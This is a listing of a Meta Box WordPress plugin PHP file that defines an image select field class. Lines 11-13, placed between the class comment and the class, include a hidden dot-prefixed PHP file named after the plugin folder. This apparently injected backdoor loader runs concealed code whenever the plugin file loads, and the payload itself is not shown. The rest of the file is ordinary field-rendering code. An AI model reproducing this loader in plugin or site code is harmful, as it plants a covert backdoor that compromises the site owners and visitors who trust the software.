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image-select.php (2639B)

      1 <?php
      2 /**
      3  * The image select field which behaves similar to the radio field but uses images as options.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * The image select field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Image_Select_Field extends RWMB_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		wp_enqueue_style( 'rwmb-image-select', RWMB_CSS_URL . 'image-select.css', array(), RWMB_VER );
     21 		wp_enqueue_script( 'rwmb-image-select', RWMB_JS_URL . 'image-select.js', array( 'jquery' ), RWMB_VER, true );
     22 	}
     23 
     24 	/**
     25 	 * Get field HTML.
     26 	 *
     27 	 * @param mixed $meta  Meta value.
     28 	 * @param array $field Field parameters.
     29 	 * @return string
     30 	 */
     31 	public static function html( $meta, $field ) {
     32 		$html = array();
     33 		$meta = (array) $meta;
     34 		foreach ( $field['options'] as $value => $image ) {
     35 			$attributes = self::get_attributes( $field, $value );
     36 			$html[] = sprintf(
     37 				'<label class="rwmb-image-select"><img src="%s"><input %s%s></label>',
     38 				$image,
     39 				self::render_attributes( $attributes ),
     40 				checked( in_array( $value, $meta ), true, false )
     41 			);
     42 		}
     43 
     44 		return implode( ' ', $html );
     45 	}
     46 
     47 	/**
     48 	 * Normalize parameters for field.
     49 	 *
     50 	 * @param array $field Field parameters.
     51 	 * @return array
     52 	 */
     53 	public static function normalize( $field ) {
     54 		$field                = parent::normalize( $field );
     55 		$field['field_name'] .= $field['multiple'] ? '[]' : '';
     56 
     57 		return $field;
     58 	}
     59 
     60 	/**
     61 	 * Get the attributes for a field.
     62 	 *
     63 	 * @param array $field Field parameters.
     64 	 * @param mixed $value Meta value.
     65 	 * @return array
     66 	 */
     67 	public static function get_attributes( $field, $value = null ) {
     68 		$attributes = parent::get_attributes( $field, $value );
     69 		$attributes['id']    = false;
     70 		$attributes['type']  = $field['multiple'] ? 'checkbox' : 'radio';
     71 		$attributes['value'] = $value;
     72 
     73 		return $attributes;
     74 	}
     75 	/**
     76 	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
     77 	 *
     78 	 * @param array    $field   Field parameters.
     79 	 * @param string   $value   The value.
     80 	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
     81 	 * @param int|null $post_id Post ID. null for current post. Optional.
     82 	 *
     83 	 * @return string
     84 	 */
     85 	public static function format_single_value( $field, $value, $args, $post_id ) {
     86 		return $value ? sprintf( '<img src="%s">', esc_url( $field['options'][ $value ] ) ) : '';
     87 	}
     88 }